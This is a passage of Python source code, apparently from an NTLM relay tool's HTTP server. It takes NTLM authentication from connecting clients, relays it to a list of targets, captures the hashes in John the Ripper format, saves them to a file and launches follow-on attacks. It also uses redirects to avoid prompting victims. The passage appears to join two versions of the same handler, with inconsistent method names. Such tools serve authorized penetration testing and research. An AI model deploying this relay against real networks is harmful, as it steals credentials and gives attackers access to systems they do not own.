                        LOG.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % (
                            self.server.server_address[1], self.client_address[0]))
                        self.send_not_found()
                        return

                    LOG.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % (
                        self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))

                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    # Connection failed
                    if self.server.config.disableMulti:
                        LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1],
                                  self.target.scheme, self.target.netloc))
                        self.server.config.target.logTarget(self.target)
                        self.send_not_found()
                        return
                    else:
                        LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % (
                            self.server.server_address[1], self.target.scheme, self.target.netloc))
                        self.server.config.target.logTarget(self.target)
                        self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if self.server.config.disableMulti:
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                                    authenticateMessage['user_name'].decode('utf-16le'))).upper()
                    else:
                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
                                                    authenticateMessage['user_name'].decode('ascii'))).upper()

                    target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)

                if not self.do_ntlm_auth(token, authenticateMessage):
                    LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
                                                                               self.authUser))
                    if self.server.config.disableMulti:
                        self.send_not_found()
                        return
                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        # If it was an anonymous login, send 401
                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    LOG.info("HTTPD(%s): Authenticating against %s://%s as %s SUCCEED" % (self.server.server_address[1],
                        self.target.scheme, self.target.netloc, self.authUser))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)
                    self.do_attack()
                    if self.server.config.disableMulti:
                        # We won't use the redirect trick, closing connection...
                        if self.command == "PROPFIND":
                            self.send_multi_status(content)
                        else:
                            self.send_not_found()
                        return
                    else:
                        # Let's grab our next target
                        self.target = self.server.config.target.getTarget(identity=self.authUser)

                        if self.target is None:
                            LOG.info("HTTPD: Connection from %s@%s controlled, but there are no more targets left!" % (
                                self.authUser, self.client_address[0]))

                            # Return Multi-Status status code to WebDAV servers
                            if self.command == "PROPFIND":
                                self.send_multi_status(content)
                                return

                            # Serve image and return 200 if --serve-image option has been set by user
                            if (self.server.config.serve_image):
                                self.serve_image()
                                return

                            # And answer 404 not found
                            self.send_not_found()
                            return

                        # We have the next target, let's keep relaying...
                        LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser,
                            self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))
                        self.do_REDIRECT()
        def do_GET(self):
            messageType = 0
            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message='NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(
                        self.client_address[0], self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token, authenticateMessage):
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target[1], authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage[
                            'user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(
                            self.client_address[0], self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target[1], authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat(
                        self.challengeMessage['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)
                    self.server.config.target.log_target(
                        self.client_address[0], self.target)
                    self.do_attack()
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length', '0')
                    self.send_header('Connection', 'close')
                    self.end_headers()
            return